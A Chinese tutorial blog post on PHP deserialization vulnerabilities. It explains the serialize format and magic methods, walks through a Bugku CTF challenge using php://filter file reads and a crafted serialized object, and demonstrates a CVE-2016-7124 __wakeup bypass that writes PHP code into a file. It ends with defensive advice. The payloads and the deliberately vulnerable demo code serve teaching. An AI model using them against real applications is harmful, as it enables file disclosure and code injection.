'PHP反序列化'

1. PHP(反)序列化

1.1 序列化

将变量转换为可保存或传输的字符串的过程;

1.2 反序列化

在适当的时候把这个字符串再转化成原来的变量使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

string serialize ( mixed $value )返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

mixed unserialize ( string $str )对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

HTTP传输数据方式:
XML(XXE)
JSON

1.3 序列化后

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class test{
public $public='chessur';
protected $protected=126;
private $private=1.26;
public $boolean=true;
public $null=NULL;
public $array=array(1,2,3,6);
}
$chessur =new test;
echo serialize($chessur);
?>
1
O:4:"test":6:{s:10:"public_var";s:7:"chessur";s:16:"0x00*0x00protected_var";i:126;s:17:"0x00test0x00private_var";d:1.26;s:11:"boolean_var";b:1;s:8:"null_var";N;s:5:"array";a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:6;}}
字母 含义
s 字符串(string)
i 整型(integer)
b 布尔(boolean)
d 双精度(double)
N 空(NULL)
a 数组(array)

1.4 属性

public的属性在序列化时,直接显示属性名
protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3
private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2

2. PHP反序列化漏洞

2.1 漏洞成因

1.用户可输入参数
2.对用户输入的参数没有进行过滤,或过滤规则不完善
3.参数被危险函数使用

2.1.1 魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

__construct()和__destruct()会在对象创建或销毁时自动调用;

在对象serialize()过程中,会检查是否具有__sleep()魔术方法。如果存在该方法,则在序列化前执行该方法。__slepp()方法会清理对象,并应该返回一个数组,数组中包含被序列化的对象的所有属性的名称。如果该方法不返回任何内容,则序列化后的字符串将变为N并提示Notice。__sleep()的预期用途是提交需要挂起的数据或执行类似的清理任务。如果有一个非常大的对象,不需要完全保存其所有属性,该功能将非常有用。

在unserialize()过程中,会检查是否具有__wakeup()魔术方法。如果存在该方法,则在反序列化时执行该方法。__wakeup()魔术方法可以重构对象可能具有的任何资源。__wakeup()预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
class Test
{
public $value;

function __construct(){
echo "__construct";
echo "<br />";
}

function __destruct(){
echo "__destruct";
echo "<br />";
}

function __wakeup(){
echo "__wakeup";
echo "<br />";
}

function __toString(){
echo "__toString";
echo "<br />";
return $this->value;
}

function setValue($parm){
echo "setValue";
echo "<br />";
$this->value = $parm;
}
}
$test = new Test;
$test->setValue("chessur");
$ser_test = serialize($test);
echo $ser_test."<br />";
$obj = unserialize($ser_test);
echo $obj."<br />";
?>
1
2
3
4
5
6
7
8
9
//OUTPUT
__construct
setValue
O:4:"Test":1:{s:5:"value";s:7:"chessur";}
__wakeup
__toString
chessur
__destruct
__destruct

__autoloading()

传统的PHP只能unserialize()定义过的类,意味着每个PHP文件都需要包含很多文件,在当前主流的PHP框架中,都采用了__autoloading()自动加载类来完成这项繁重的工作。
在简化了工作的同时,页为序列化漏洞造成了便捷。

2.2.2 魔术方法执行顺序

__wakeup()>__toString()>__destruct()

3. CTF示例

welcome to bugkuctf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
1
2
3
4
5
6
7
8
9
10
11
12
13
//hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

在index.php中,通过右键查看源代码,可以看到提示

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

当user的值为welcome to the bugkuctf时,会进入下一步判断,这里使用php://input
file会在可以传入一个文件进行本地包含,提示了包含hint.php,所以直接包含hint.php,包含之后发现页面没有变化,因为里面的内容被解析了,使用php://filter/read=convert.base64-encode/resource=hint.php读取文件,再将内容进行base64解码,可以获得上面的hint.php,再通过伪协议获得index.php的内容,可以看到会对password进行反序列化,再看hint.php中Flag类在被转化为字符串时,可以读取并输出文件内容,所以可以写个Flag类的序列化字符串,让它在echo的时候,输出flag.php中的内容。
由于需要Flag类,所以$file需要包含hint.php页面。

构造序列化字符串

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

4. PHP自身漏洞(CVE-2016-7124)

4.1 漏洞介绍

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

4.2 Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//demo.php
<?php
class test{
var $name = "chessur";
function __destruct(){
$file = fopen("D:\\phpStudy\\WWW\\Blog_Serialize\\windy.php","w");
fputs($file,$this->name);
fclose($file);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up..."."<br />";
}
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>

由于__wakeup()的执行顺序在__destruct()之前,所以__wakeup()会将对象内的所有属性设为NULL,在__destruct()执行时,没有内容会写到文件中。
但使用漏洞,可以跳过__wakeup(),直接执行__destruct(),这样可以将属性内容写入文件中。

payload

1
test=test=O:4:"test":2:{s:4:"name";s:18:"<?php phpinfo();?>";}

执行后会报错,但是数据会被写入到文件中

5. PHP反序列化漏洞防御

1.要严格控制用户输入的参数,坚持用户所输入的信息都是不可靠的原则
2.要对于unserialize后的变量内容进行检查,以确定内容没有被污染
3.对要使用变量的函数进行检查。

6. 参考

[1] PHP反序列化漏洞

[2] 浅谈php反序列化漏洞

[3] php反序列化总结

[4] PHP反序列化漏洞成因及漏洞挖掘技巧与案例